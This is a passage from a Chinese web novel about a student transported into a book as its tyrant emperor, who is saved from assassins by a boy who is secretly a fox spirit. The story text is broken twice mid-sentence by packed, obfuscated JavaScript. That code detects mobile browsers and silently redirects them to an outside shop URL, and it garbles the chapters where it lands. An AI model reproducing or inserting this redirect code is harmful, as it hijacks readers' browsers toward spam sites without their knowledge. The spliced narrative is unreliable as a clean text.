《朕知道他是狐狸变的!》 1. 堆雪人的狐 “陛下,那位便是太常少卿之子,安稚舒。” 冬至时节,天还沉着。 佛寺殿宇层叠若海,覆于绵延雪幕之下。皇城于此,不过一隅盆景。 商缙言被老太监蔡汶引至护国寺后山阁楼,他俯身下望,便瞧见了那人。 只见一名少年正背对着两人蹲在梅树下,小心地捏雪人。 黑发间落着新雪,他呵出一小团白雾,将掌心的雪团修出圆润轮廓,动作稚气得像孩童,银坠子也挂在耳旁晃着。 商缙言见了,唇角不自觉扬起。 不对。 皇帝想起什么,倏然敛了笑容。 “太常少卿安大人原是无婚配子嗣的。如今府里这位小安公子,是从族中旁支过继来的。” 蔡汶十分有眼力见,躬身道:“奴婢已细细查过,小安公子竟是个命里带煞的苦孩子——五岁上便没了爹娘,拖到十六岁才记到安大人名下。前阵子才进了京……” 商缙言并未应声。 蔡汶抬眼觑了觑商缙言的脸色,却见到令人魂飞魄散的一幕。 皇帝手撑着汉白玉雕栏,脚还踩在了地栿上,半截身子都探了出去,像只乌龟般伸头伸脑,非要瞧见那位小安公子长什么样。 所幸商缙言没瞧太久,很快停止这危险的举动,淡淡地应了方才蔡汶所说的话。 他不必听这些,他比所有人都更熟悉安稚舒是谁—— 原著里被他强取豪夺,最终香消玉殒的主角受。 他的老婆。 这事说来话长。 三个月前,商缙言还是一位大学新生。 在机缘巧合下,他翻到一本与自己同名同姓主角的小说。 这本小说不论是书名和简介都给他一种权谋爽文的感觉,结果商缙言一点进去,就被里面的内容给黄懵了。 权谋是一点没有的,他和安稚舒是从头do到尾的。 两人不是do,就是在准备do的路上。 剧情也基本为零,大致故事就是残酷无道的商缙言不顾安稚舒意愿强迫了他,最后安稚舒不堪受辱自尽而去,自己也追悔莫及,跟着一块自刎而去。 那天晚上的商缙言躺在床上看了半天,实在是看了有点晕车,最后宛如死猪一般沉沉睡去。 再睁眼,自己就穿到了书中的世界。 今天就是一切故事的开始—— 商缙言会不顾众人阻拦,也不顾宗族礼法,直接在佛寺禅院中强宠安稚舒。 想到原著里双死的结局,商缙言下定决心。 他今日来,就是斩断两人之间孽缘。 商缙言面无表情地看着在雪地中玩雪的人,却见那少年站起身,似是蹲久了,身形晃了晃。稳住后,他忽然转身。 商缙言神色一怔。 雪粒从少年发梢惊散,露出一张漂亮得过分的脸,眉眼精致,可眸光却是空的,唇色极淡,像被这场雪漂去了颜色。 唯眉间一点朱砂痣红得惊心,仿佛整张宣纸水墨画上,独独盖了枚胭脂印。 蔡汶察言观色,忙奉承道:“奴婢前儿瞧见小安公子时也暗吃了一惊,那眉间一点红痣,活脱脱是观音座前童子。” “说来也奇,自打安大人得了这儿子,去年开春便得了陛下两回赏……”他忽然一顿,意识到自己失言,轻轻拍了拍自己的嘴,“瞧奴婢多嘴!是安大人忠心事主,才修得这般福报呀。” 商缙言全然没听他的奉承话,心早就随着落雪飘至了安稚舒身上,挪不开。 因胡患频繁,如今大虞朝野笃佛之风盛行,护国寺的琉璃瓦比他皇宫里的宫墙还耀目几分。 在这些虔信者眼里,安稚舒生来眉间带佛印,是身带祥瑞之人,也本该是含在檀香里供着的命,却不知怎的在外飘零了数十载,上月方才在安府落了根。 另一方面…… 安稚舒,确实长得挺好看的。 商缙言是纯直男,此刻却也不免失神片刻。 难怪书中的自己会被安稚舒迷得晕头转向。 心绪翻涌间,商缙言更加坚定了自己的想法。 他得锁好裤腰带,管住下半身。 雪地里的安稚舒似有所感,微微抬首。 四目相接。 相隔甚远,他却也能感觉到那目光仿佛有了实质,在他脸上寸寸舔过。安稚舒几乎要喘不过气来,袖中的手悄然握紧。 他尚不知阁上人身份,却本能感到危险。 高阁上的男人压根不在意自己偷看被抓包,甚至坦然地迎上他的视线。 安稚舒僵在原地,雪落满肩。 两人陷入了诡异的对峙。 蔡汶在一旁看着纳闷,一时间也拿不定主意了。 几日前商缙言突然派他去查安稚舒。 彼时太常少卿还将这个儿子藏得很深,无人知晓。也不知陛下是何种缘故得知了此人。 又听闻安稚舒今日会一同来参加祭祀大典,陛下便马不停蹄地过来看他。 看完却又什么都不说,真让人摸不着头脑。 圣心难测,蔡汶正欲揣摩着开口,忽然听见后方传来细碎脚步声。 是一名小内侍,佝着背怯怯懦懦地行礼:“陛下,钦天监呈报的白狐已在祭坛侧殿供着了。” 商缙言终于移开视线。 来到这个世界的三个月,商缙言大致了解到书中没有记载的事情。 所谓用白狐祭祀,倒不如说是对狐狸进行虐杀。由和尚将狐狸四爪都扣了金环,悬在大雄宝殿上放血,再活生生剥皮焚烧。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082389|195345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这祭祀之法自开国以来就极为推崇,照典籍所说,狐妖最擅附人身窃取国运,前朝便是因着狐妖作祟,引来胡人入侵中原,至百年大乱。 解决之法就是用烈火焚烧妖狐,使其永世不得超生,来年狐妖自然不敢祸乱宫闱。 商缙言翻阅卷宗发现,开国之初用来祭祀的本是赤狐,但因常年的大肆屠戮,已经见不到赤狐的踪影,到如今只能退而求其次,只能用白狐。 “佛门净地摆屠场?”他嗤笑,“下次是不是准备现场开光杀猪刀啊?” 小内侍和蔡汶皆是一愣。 商缙言扫了他们一眼:“没听懂?把狐狸撤下去,祭祀照常。” 这简直是惊世骇俗的一番话。 蔡汶踉跄着扑跪下来:“陛下三思!这祭礼是太宗皇帝亲笔朱批的典制啊!” 老太监脊背几乎弯着,连呼吸都掐得细细的。 他虽不是带着商缙言长大,却也是宫里的老人,殿下幼时那么小一个人,在膝头坐着,眼神就比井还深,静幽幽的。 后来这位主子踩着亲兄弟的脊骨坐了上去,登基后又迟迟不祭天……老天的账,是能拖欠的吗? 果不其然,前段时日就出了事,所幸那刺客只是让陛下额角磕在桌上,晕了几日。醒来后眼神倒是清明了些,忙不迭地定了祭礼的日子。 宫里刚喘上半口气,谁能想到,离祭礼就几个时辰了,商缙言又变了主意! 商缙言脸色沉下,才懒得管这老太监的劝谏:“再多言,你去替那狐狸。” 蔡汶抖如筛糠,不敢再语。 人祭早已废除百年,此刻陛下再度重提……显然是动了怒意。 商缙言最后瞥向梅树下,安稚舒还站在雪中,身形单薄如纸。 尤其是安稚舒那对银耳坠,晃得他心烦。 破坏祭祀会遭天谴,关他一个穿书者什么事? 于商缙言而言,最要紧的事是解决自己与安稚舒的情感纠葛,早点回家。 这没网没手机的时代,谁爱待谁待。 至于狐妖…… 他穿的是强制爱文,又不是萌宠文。 也就这些人相信什么祸国狐妖的存在,把狐狸杀得都要灭绝了。 商缙言不再看了,直接离去。 不一会儿,雪倒是停了,风却没住,刮过枯槁的树枝,扑打在脸上,针扎似的疼。 安稚舒在原地等了半天,终于等到那几人离去,才缓缓吐息。 袍角被雪水泥泞浸得颜色深一块浅一块,他垂着眼慢吞吞地往禅院的方向走去,心砰砰跳个不停。 待行至人迹罕至处,安稚舒脚步一顿。 少年忽然变成一只通体火红的小狐狸,抖了抖蓬松的尾巴,踩着厚雪,飞快留下一连串的狐狸脚印。 2. 英勇狐 小狐狸跑得很快。 橘红的影子从后山的树林穿梭而过,七拐八绕来到臣子暂歇的禅院外,远远就嗅闻到一大堆人类的气息。 安稚舒倏地钻进树丛,两只黑爪扒开枯枝向外窥探。 禅院内人影绰绰,安济一身绯红立于当中,正与几位同僚说些什么,在人类堆里显得游刃有余。 树丛中的小狐狸眼神中不免带上几分敬仰。 安济是世间唯一一只九尾狐,虽说已经几千岁了,但瞧着风姿愈胜,仍是生得清致。 昔年安济得天道指引,有感而孕,以男狐之身一胎生了八崽,至此世间才有了能化人形的狐族,如今还活着的狐妖,多多少少都承着他的血脉。 可安稚舒知道,阿爹会骗狐。 他都瞧见了,安济根本没有九条尾巴,只有两条尾巴! 安稚舒在草丛里蹲了半天,终于等到人都散去,直接跳了出来,撞到安济脚边。 安济低头一看,一只小狐狸安静地坐在地上,仰头看他。 天气寒冷,小狐狸难免爆毛,成了圆滚滚的一团,身上还沾着雪粒。 橘色毛团子拘谨地叫了一声:“嘤。” 还不等安济回应,安稚舒眼前一黑,整只狐都被罩在衣摆之下,尾巴尖还露在外头晃了晃。 不一会儿,连尾巴也罩住了。 外头是户部的人来对账,安稚舒听着声音,缩在衣摆中百般无聊,爪子勾上官袍的绣纹。 待人走了,安济才示意小狐狸赶紧出来。 小狐狸没动弹。 他将衣摆撩开,小赤狐的爪子不知什么时候缠住了绣线,满脸生无可恋。 “你啊……”安济无奈蹲下,小心解开那些线头,拯救了他的小黑爪。 他把狐狸抱起来躲进房中,将门窗关严实了才絮絮叨叨:“阿爹不是同你说了,在京城别乱变成狐狸,这边不比其他地方,眼线多……” 安稚舒只好变回人形,一副生怕被训斥的模样,揪着衣袖不敢抬头看他:“阿爹,我好像被狐贩子盯上了。” “你怎会突然被人盯上?”安济脸色骤变:“有瞧见他长什么模样吗?有没有被他发现你变成了狐狸?” 安稚舒摇头,点头,最后又摇头,自己也说不清:“那个人在旁边看了我很久,什么也没做就走了。” 过了一会儿,安稚舒又说:“他穿的衣服很好看,就是衣服上绣了蚯蚓……” 蚯蚓? 安济愕然。 太常少卿大人脑中飞快掠过京中权贵的服饰纹样——谁会绣蚯蚓啊? 安济看着安稚舒惶恐的样子,又强调道:“下次一定要注意了,在京城不能乱变成狐狸,也不要暴露自己狐狸的身份。” 眼前少年似乎被吓着了,面色发白地说:“我知道了。” 安济无奈叹了口气,揉揉他的脑袋。 他第一次见到安稚舒时,安稚舒还是一只五岁的狐狸崽子。 这孩子的母亲爱上了一个人类,偷偷生下了他,结果没几年便双双离世。 安济将他托给族中其他狐狸照料,谁知那些狐狸嫌弃他半人半狐的血统,只给口饭吃,旁的概不理会。 偏生安稚舒脸上又有一颗红痣,恰好长在眉心中间……要知道,狐狸最讨厌什么和尚菩萨了。 等安济再次见到安稚舒,十多岁的少年躲在树后面,警惕地冲他呲牙,是一点都不明白人族的人情世故。 说好听点是懵懂单纯,说难听点就是和野狐狸没什么区别。 但好在,安稚舒足够听话。 别的狐说什么他便做什么,从不会违抗,不会让狐太操心。 可安济还是对这可怜的狐狸崽子放心不下,又嘱咐道:“今日带你过来,除了救出被当成祭品的那只白狐狸,便是让你知晓在京城中生活,绝非是那么容易的事情。” “待会儿祭礼便要开始了,若过程中生了乱子,记得要随机应变,知道么?” 安稚舒茫然:“阿爹,我要如何随机应变?” 安济也被他问住了:“大概就是……遇到危险会跑会反抗吧。” 那安稚舒就明白了。 不就是和捕猎一样嘛。 安济和其他狐狸密谋救出今天这只白狐时,安稚舒也在旁边听了几句。 大致就是先捣乱,然后再趁乱救出那只白狐。 和安稚舒没多大关系,他今日只是个陪衬。 如此盛大的祭祀需要京中所有四品及以上的官员和家眷参与,结束之后还要留在佛寺吃斋礼佛七七四十九天,安济就算不想带着安稚舒一块来也难以违抗圣命。 “你先去换身衣服吧。”安济注意到他衣摆都脏了,“换好衣服跟着安茗走,别到处乱跑。” 一听到这个名,安稚舒又闷闷不乐起来了:“好。” 他回到暂居的厢房,换了件干净的衣裳。推开房门时,安茗已抱臂倚在廊柱下,满脸不耐烦。 安稚舒慢吞吞挪到他旁边。 “磨蹭什么?”安茗瞥他一眼,“快走吧,祭礼快开始了。” 安稚舒垂着眼跟他而去。 安茗是族中年轻一辈的翘楚狐,向来瞧不上安稚舒这个‘杂种狐’,两人一前一后走着,气氛凝滞。 安茗漫不经心地说:“真不知道阿叔让你跟着我做什么,拖油瓶。” 安稚舒不想理他。 安茗很讨厌他,他也很讨厌安茗。 因为安稚舒从来没见过这般花心的狐狸,到处撒种,在狐狸幼崽里随手一捞都可能是安茗的狐崽子。 偏偏安稚舒越不想理他,他越要凑上来说话:“该交代的阿叔都跟你说过了吧?我就懒得废话了,只一句:待会儿可是要拜佛的,装也得装恭敬些,那些秃头佬和皇帝都不是善茬,一个不高兴,砍你脑袋都是轻的。” “嗯。” “还有,别东张西望。你这种红红的狐狸在他们眼里最惹眼了,小心被抓起来送给暴君!” “嗯。” 安稚舒蔫蔫地应着,想到待会儿就要见到暴君,忍不住打了个寒颤。 暴君的爹也是个大暴君,在位期间杀过数千只狐狸,还把整个国家弄得民不聊生。 如今坐皇位的那一位……其他狐狸更不敢提了,安稚舒只隐隐听阿爹说什么……得位不正。 对自己亲人都能下手的人类,对待狐狸定会更狠。 安稚舒神游地跟着安茗走,却一不小心撞上了什么。 他吃痛地捂住额头,抬头一看,安茗不知道什么时候停了下来,猛地回头。 安茗咬牙切齿:“你除了‘嗯’还会说什么,难怪大家都不喜欢你。” 安稚舒抬起头,眸子干净得过分。 他想了想,认真道:“哦。” “你!”安茗气结,一甩衣袖闷头就走。 护国寺的钟声在此时沉沉响起,一声叠着一声,震得枝头积雪簌簌落下。 安稚舒小跑着跟上,行至殿前广场前,只见黑压压一片人潮,却寂静得只闻风声。 他刚在自己的位置站定,眼角余光却忽地瞥见密林深处,似有黑影极快地一闪。 小狐狸脚步一顿,侧头望去。 林木幽深,一片寂静,仿佛只是他的错觉。 是兔子吗? 安稚舒突然有点饿了,想吃兔肉。 希望祭礼能早些结束。 可一想到未来四十九日都不能沾荤腥,整只狐又蔫巴了几分。 忽然,两队身披玄甲的禁军肃然入场,分列于广场两侧森然不动,肃杀之气扑面而来。 随后朱紫之色映入眼帘,朝廷众臣身着朝服依次行至前列。 安稚舒在那一排身影中,寻到了安济。安济似有所感,并未回头,只借着调整站姿的瞬息,迅速向他这儿扫了一瞬。 安稚舒心头一凛,更低了低头。 “陛下驾到——” 太监尖细的唱喏划破寂静,广场上所有人齐刷刷跪倒、俯身,额头触地,山呼万岁。 安稚舒也跟着笨拙地匍匐在地,冰冷的石板隔着衣料传来寒意。 他忽然极小心地将目光抬起。 最先看见的,是皇帝身边站着的胖乎乎的和尚。身披袈裟,笑得慈眉善目,安稚舒莫名从里面的笑容感受到一丝不适应,又迅速低下头。 这个人,让狐很不舒服。 他杀了很多狐狸。 安稚舒在幼时见过这些坏和尚的手段,随口就说那个人类是狐妖,然后不由分说将人弄死,扔进火里。 血腥恐怖的场景在脑中闪过,安稚舒重重喘了几口气,缓上一会儿,才继续偷偷打量。 皇帝御辇停驻之处,一双玄色锦缎的靴履映入眼帘,接着是冕服袍角……他的视线一点一点上移,终于看见了暴君的面容。 安稚舒的呼吸猝然停滞,身形微微晃了晃。 这张脸怎么这么眼熟? 暴君面容俊美,神色间自有睥睨天下的威严,熟悉得令安稚舒的魂魄几欲飞散。 这…… 这!!! 这分明是方才后山盯上他的狐贩子! 安稚舒直勾勾地望着那抹身影,脑海一片混沌,全然忘了礼数,直到胳膊肘被狠狠撞了一下,才猛地回神。 侧头只见安茗正焦急地对他做口型,眼睛瞪得溜圆。 别、乱、看! 安稚舒慌忙低下头。 皇帝似有所觉,目光若有若无地扫过他这个方向。 “平身。” 众人齐刷刷起身,雅乐也在此时奏响。 商缙言接过和尚奉上的长香,缓步走向祭鼎,随后依礼三跪九叩。 百官随之跪拜。 安稚舒却总觉得心神不宁,跪拜起身总慢了半拍,忍不住再次偷偷上瞟。 皇帝刚才跑来后山盯着自己看,到底是要干什么呀…… 时间缓慢流淌,礼仪格外繁复,他的膝盖都跪得生疼。 也不知道什么时候才能结束。 按照安济事先安排的流程,皇帝上香叩拜后,便该献上祭祀用的狐狸,然后…… 便是安济安排动手的时机,制造混乱,将狐狸带走。 正胡思乱想,只见商缙言刚将香插入鼎中,一直侍立在侧的蔡汶竟突然上前一步,双手 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安稚舒被拽着向前,视线慌乱扫过高台,皇帝已被一群暗卫护在中央,数名刺客正不要命地冲杀过去。 人潮如同失控的洪流,裹挟着他们向前涌去。惊叫声与兵刃撞击声混杂在一起,刺鼻的血腥味弥漫开来。 安稚舒被推搡着,身不由己,只能死死跟着安茗,拥挤、踩踏,不断有人倒下。 不对!这根本不是阿爹的计划! 安济的目的始终是保全狐族,等待一个明君为狐妖平反,这种等同于拉着全族去死的举动,他怎么可能做得出来! “阿哥!阿爹他——”安稚舒想喊,声音却被淹没。 他试图在混乱中寻找阿爹的身影,却只看到一片仓皇惊恐的面孔。 突然,一股巨力撞来,安稚舒手腕一痛,竟与紧抓着他的安茗被冲散了。 “阿哥!” 没有狐狸回应。 安稚舒被人流裹挟着,竟跌跌撞撞冲到了殿前石阶下,前方几名刺客正狞笑着逼近一群跌倒在地的妇孺。 其中一个叛军已经举起刀,对准一名将孩童紧紧护在怀中的年轻妇人。 安稚舒脑中所有纷乱思绪全都消失了。 他身体率先做出反应。 少年猛地弯腰,从一旁禁军尸体身上猛地夺过长剑,没有犹豫,手腕一抖直接刺入那名叛军的心口。 接着用力一拧,迅速抽剑,几点猩红的血液喷洒在他白玉似的面颊,额间那点朱砂痣被血珠浸染。 安稚舒睫毛颤了颤,只缓缓抬眸。 越过混乱的人影,他直直望向高台中央的商缙言。 护国寺内的异变极快发生,商缙言眼中掠过一丝惊愕。 他并非没有预料到今日不会太平,因此派了大批禁军加强防卫,可没想到……叛乱竟发生在禁军内部,仍超出了他最坏的估算。 商缙言被太监护卫保护着前行,目光扫过广场,方才还彰显天家威严的宏大场面,此刻已彻底沦为屠宰场。 鲜血溅落在佛像慈悲的手掌上,红得刺目。 太多人倒下了。 “陛下,往这边!”暗卫统领浑身浴血,硬生生杀出一条通路。 商缙言步伐未乱,声音异常冷静:“传令下去,首要救人,其次即刻封锁所有出口。” 命令迅速被身边的亲信传递出去。 视线所及,增援的兵马正在赶来,局面虽险,但正在向可控的方向扭转。 就在商缙言略微分神的刹那,一直在他身侧的小太监将藏在袖中的手猛地抽出,寒光一闪,竟是一柄短小利刃,直刺商缙言腰腹! “去死!” 这一下距离太近,周围的暗卫注意大多在外围冲来的刺客身上,救援不及。 商缙言身体本能地向后一撤,但刀尖已触及衣袍—— 噗嗤。 利器入肉,倒下的却不是商缙言。 那小太监保持着前刺的姿势僵住,旋即眼神涣散,直挺挺扑倒,露出后方执剑的安稚舒。 安稚舒握着剑,手抖得厉害。 剑尖还在滴血。 他看着地上的尸体,又抬头看向商缙言,张了张嘴,却发不出声音。 商缙言眼中流露出讶异。 安稚舒是怎么冲到这里来的? 而且,他居然救了自己,又为何要救自己? 未极细想,另一名潜伏在附近的刺客眼见同伴失手,不顾一切地扑了上来。 “小心!” 商缙言长臂一伸,将安稚舒一把拽向自己,护在身侧,刀锋擦过安稚舒来不及收回的手臂。 一道伤口浮现,鲜血迅速渗了出来。 商缙言眉头一蹙,另一只手顺势从安稚舒手中接过长剑,剑尖迅速刺穿了那名刺客的咽喉。 “稚舒——!” 安济的惊呼从远处传来,他踉跄奔近,却见安稚舒竟是被暴君牢牢地抱在了怀里。 3. 人要奖赏狐 禅院深处,临时充作医署的厢房外,药气与血气混作一团。 僧人步履匆匆,协助太医院的医官们清洗、包扎、止血。白布浸入铜盆,清水转瞬便染成淡红。 蔡汶亲自端着一碗刚煎好的安神汤药,穿过这片忙乱。 前院稍显空旷,几名负责今日祭礼的官员正脸色灰败地跪在那里,等候发落。 蔡汶脚步未停,径直越过他们,走向西侧的一间禅房。 房内,安济与安稚舒父子二人正坐着。安济双手无意识地反复搓着,眼神焦急地望向门口。 安稚舒还算安静,伤处已经被妥帖包扎,脸色仍有些苍白,但注意力更多地被前面桌上的点心给吸引了。 是御前常备的糕点,掺了桂花蜜,做成莲花模样。 他伸着没受伤的手,小心翼翼拿起一块糕点飞快塞进嘴里,鼓着腮帮子嚼动,另一只手又探向了另一块糕点。 蔡汶走进来时,看到的正是这一幕。 安济猛地站起,躬身就要行礼:“蔡公。” 安稚舒吓了一跳,快速把手里的糕点一股脑塞进嘴里,然后紧紧闭上嘴,努力吞咽,有些无措地望向这位突然出现的太监。 蔡汶脸上瞬间堆起惯常的圆滑笑容,他先是对安济虚扶了一下:“不必多礼,坐,都坐。” 随即,他的目光便落在安稚舒身上,笑容里真切地多出了几分长辈般的和蔼。 老太监走近两步,仔细端详了一下安稚舒的脸,尤其在他眉心天生的朱砂痣上停留一瞬,语气柔和地开口:“瞧瞧小公子这相貌,隐有瑞相,倒像是有佛缘的。” 怪不得。 蔡汶心下恍然,就这出色的模样,怪不得今日祭礼前,陛下特地绕去后山,就为了瞧这一眼。 安稚舒眨了眨眼,被看得有些不太好意思。 蔡汶笑意更深:“方才那等凶险场面,小公子护驾有功,陛下定然是记在心里的,重赏少不了。” 说完,他又转向安济:“安大人真是好福气,有这般英勇的孩子,经此一事,日后小公子前程不可限量。” 安济心中百味杂陈,面上却只能言辞谨慎:“蔡公过誉了,稚舒年幼无知,不过是情急之下本能反应,岂敢居功?全赖陛下洪福齐天。” 安稚舒却只听懂了别人正在夸他是一只英勇的狐,脸上泛起一点红晕,小声问了一句:“真的吗?” 蔡汶显然没料到他会如此直接,怔了一下,连声道:“自然是真的,小公子这般忠心,谁见了不夸?” 他又顺势说了好些奉承话,什么“少年英杰”全都一股脑夸了出来,夸得安稚舒狐狸尾巴险些没能藏住。 见安稚舒眼底的疲惫掩饰不住,蔡汶适时收了话头:“今日小公子也受了大惊吓,又带了伤,安大人不如先带小公子回去好好歇息,至于其他……” 他略一停顿,意味深长:“陛下自有圣裁,安大人只需安心等候旨意便是。” 安济如蒙大赦,又不敢完全放心,忙不迭地行礼道谢,拉起安稚舒匆匆告辞。 踏出禅院,冷风一吹,安济才觉后背官袍已被冷汗浸透,紧贴在肌肤上,一片冰凉。 “阿爹,蔡公夸我很厉害。”安稚舒跟在他身后,咕咕哝哝地说:“我也觉得我很厉害,我今天救了好多人。” 安济紧紧攥着他的手腕,力道大的让安稚舒轻轻“嘶”了一声。 安稚舒蹙了蹙眉,看见父亲脸上罕见的凝重,那点被夸赞的欢欣像被风吹熄的烛火,倏地灭了。 他抿了抿唇,小心翼翼地问:“阿爹,我是不是做错了什么呀?” 安济看着安稚舒,欲言又止。 他很想问,你为什么要去救皇帝? 可话到嘴边,又咽了回去,说出来倒像是责怪。 今日之乱牵连甚广,相关臣工皆已被扣押候审,他这太常少卿,本也该是其中一员。却因安稚舒这阴差阳错的救驾,躲过一劫。 仿佛当真应了蔡汶的那句话——有这般的孩子是他的福气。 安济长长叹口气,揉了揉他的脑袋:“没有,你做得很棒。” …… 蔡汶端着安神药来到商缙言休息的禅房当中。 房内药气正浓,太医院院判刚施完针,正将一枚枚骨针收入锦囊。护国寺住持慧深大师手持菩提珠串,阖目立于一侧,唇瓣微动,默诵经文。 商缙言则斜靠在软榻上,闭着眼,额角渗出细密的汗珠。 真是倒霉,他一穿过来便发现自己染上了小说中暴君的通病——极其严重的头疾。 以前还吐槽小说中的暴君动不动灭人九族,现在商缙言懂了,他头痛时也很想灭人九族。 今日寒风侵体,又发生惊变,此刻缓过劲来,那如同钝斧劈凿的痛楚便卷土重来。 听见脚步声,他睁眼看向蔡汶,周遭气息因疼痛显得格外冷冽。 蔡汶趋步上前,将药碗放在榻边小几上。 即便这药是他亲手盯着煎好,一路端来,此刻仍不敢有丝毫大意。他取出一枚银针,小心探入药汤,静待片刻,见针身毫无异色,才恭敬呈上。 “陛下,药温刚好。” 商缙言接过,仰头一饮而尽。苦涩的药汁滚过喉舌,眉心拧得更紧,随手从小碟里拿了颗蜜饯含入口中,才勉强压住令人作呕的味道。 他哑着嗓子问:“安稚舒回去了?” 蔡汶忙说:“回陛下,奴婢见小公子面带倦色,便请安大人带他先回去了。” 商缙言应了一声,没有再说话。 这不是他穿来后遭遇的第一次刺杀了。 原来的他树敌太多,三月前那回便是跟了十几年的老太监骤然发难,害商缙言磕伤了脑袋,现在都没养好。 事后他雷厉风行清洗了身边人,换上更稳妥的蔡汶,却没想到仍是防不胜防。 就连禁军都被渗透至此。 如今他能全然信任的,似乎只剩这些暗卫。 正思忖间,暗卫统领裴竣悄无声息入内,单膝点地:“陛下,刺客已清剿完毕,伤亡者皆已安置。擒获的几名活口……皆已咬破齿间毒囊,自尽了。” 商缙言还未开口,一旁闭目诵经的慧深大师忽然长长叹息一声。 “阿弥陀佛……此乃天罚示警啊。” 商缙言眼皮未抬,只淡淡问:“哦?大师何出此言?” 慧深睁开眼,目光悲悯:“陛下明鉴。自陛下登基,祭祀大典拖延许久已违礼制。此番祭礼前,陛下又擅改章程,略去献祭狐妖之仪。想是那些狐妖,觉出可乘之机,这才引得禁军心神失守,酿成今日血光之灾。” 商缙言似笑非笑:“朕有一事不解,还望大师解惑。” 慧深双手合十:“能为陛下解惑是贫僧之幸。” 商缙言坐直了些,很认真地问:“以前就没有人说你小脑发育不全,大脑完全不发育吗?” 慧深:? 见他没听懂,商缙言嗤笑道:“我说,大师真有点像骗钱的神棍了。可护国寺修得比皇宫还华丽,也不像缺钱的样子。” 慧深一噎,手中菩提珠串微微一颤。 商缙言眼底讥诮更浓:“大师日日将天罚挂在嘴边,倒教朕惶惶然,以为自己当真掘了龙脉,只是今日这天罚来得倒巧,莫不是有人要借着叛乱,来显自己功德颇深,故意摆了朕一道?” “陛下!”慧深握紧了手里的菩提串:“阿弥陀佛,陛下,贫僧苦行多年,是万不敢做出这等伤天害理之事。” 面前皇帝忽而轻笑:“是么?朕倒是忘了,护国寺占地万亩,还是藏风聚气的宝地,也容易藏污纳垢。” 他语气一转,森然下令:“裴竣。” “臣在。” “最熟悉护国寺的莫过于慧深大师了,或许那些漏网的刺客正藏在某处佛像之后,你带人好好请教大师一番。” “是。”裴竣抱拳,转向慧深:“慧深大师,请。如今刺客恐怕还藏匿在山中,指不定其中隐藏着狐妖,我们探查的同时也会好好保护大师的安危。” 慧深看着他腰间的长剑,脸色由红转白,指尖掐得菩提子咯咯轻响。又深深看了商缙言一眼,念了声佛号,跟着裴竣出去。 商缙言向后靠去:“靠,真烦人。” 终于把这神棍给赶走了。 蔡汶此刻才小心斟酌:“陛下,慧深大师毕竟是先皇在位时便极为赏识的高僧,太后娘娘也一向礼敬有加,前阵子太后凤体违和,还是大师入宫诵经祈福方才安泰。” “如今祭祀刚出了这般乱子,就将大师看管起来,是否会惹得太后娘娘不快?” 商缙言“哦”了一声:“那就让她不快吧。” 蔡汶心头一震,不敢再多言。 “对了。”商缙言忽然又开口,“安稚舒……今日算是有功。” 蔡汶立刻接道:“陛下圣明。安小公子奋不顾身地救护圣驾,确是大功一件。” 商缙言问得随意:“依你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082391|195345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看,该赏些什么?” 蔡汶谨慎回道:“此等护驾大功,奴婢不敢妄言具体,只是通常而言,厚赐金银田宅自不必说,若陛下隆恩,赐下爵位……亦在情理之中。” “朕知道了。”商缙言摆摆手,“此事容朕再想一想。” 他看向窗外,思绪已然飘远。 原本商缙言是打算离安稚舒远一点的。 毕竟原著双死的结局历历在目,他又顶着暴君的名头,心性也算不上多端正,万一把持不住,强迫了人家,那就完了。 可安稚舒救了他。 为什么?他们甚至还不熟,可安稚舒确确实实帮他挡下致命一击。 这是实实在在的救命之恩。 性质完全不一样了。 现在的安稚舒,简直就是他的义父。 必须得当成菩萨供起来。 封号要挑个最好听的,不能是什么“忠勇”“显毅”那般武气粗豪的,最好雅致些。还有仪仗规格、府邸选址……这些都要仔细斟酌,不能有半分怠慢。 不过,正式的旨意可以慢慢拟,在那之前总得先有所表示,这才是有礼貌的行为。 他记得原著提过,安稚舒似乎格外偏爱银饰。 书中的文字描述突然浮现脑海——细细的银链子贴着白皙颈项,末端坠着枚润泽的玉珠,随着喘息轻轻颤动,晃出一片碎光…… 画面陡然生动,清晰得烫人。 好,打住,不能再想了。 商缙言将原著强塞的黄色废料扫去,再次开口:“蔡汶。” 嗓音有些发干。 “奴婢在。” “朕的私库里,可有什么精巧些的银饰?” 蔡汶想了想,还真想到一个:“陛下,确有一对银镯,做工极精巧,中间一溜是铜钱的样式,圆滚滚沉甸甸,看着就吉利。最底下还坠着小元宝,也是錾了花的,这手镯乃是……” “就这个吧。”商缙言打断他,光听描述都觉得适合安稚舒,“再另外挑些上好的金器和玉器,一并送给安稚舒,今日就送过去。” 蔡汶的话被截在喉间,他消化了一下皇帝的话,脸上恭谦的表情有些维持不住。 “陛下要将这银镯送给小公子?今日就送?”他试探着确认。 商缙言被他的态度弄得莫名其妙:“嗯。” “陛下,小安公子今日有救驾之功。” “朕知道。” “而且此地是佛寺,祭礼刚毕。” “朕也知道。”商缙言纳闷,有点不耐烦:“你废话怎么这么多,莫非佛寺还不让送银镯了?哪来的规矩?” 蔡汶默默闭嘴。 自然是可以的。 只是…… 他艰涩道:“奴婢明白了,是奴婢多嘴。” “去办事吧。”商缙言挥了挥手。 蔡汶应声退下。 他走出门,心绪仍是难以平静。 尚未缓上几分,自己收养的义子谄笑着上前:“干爹,陛下可有什么吩咐?” 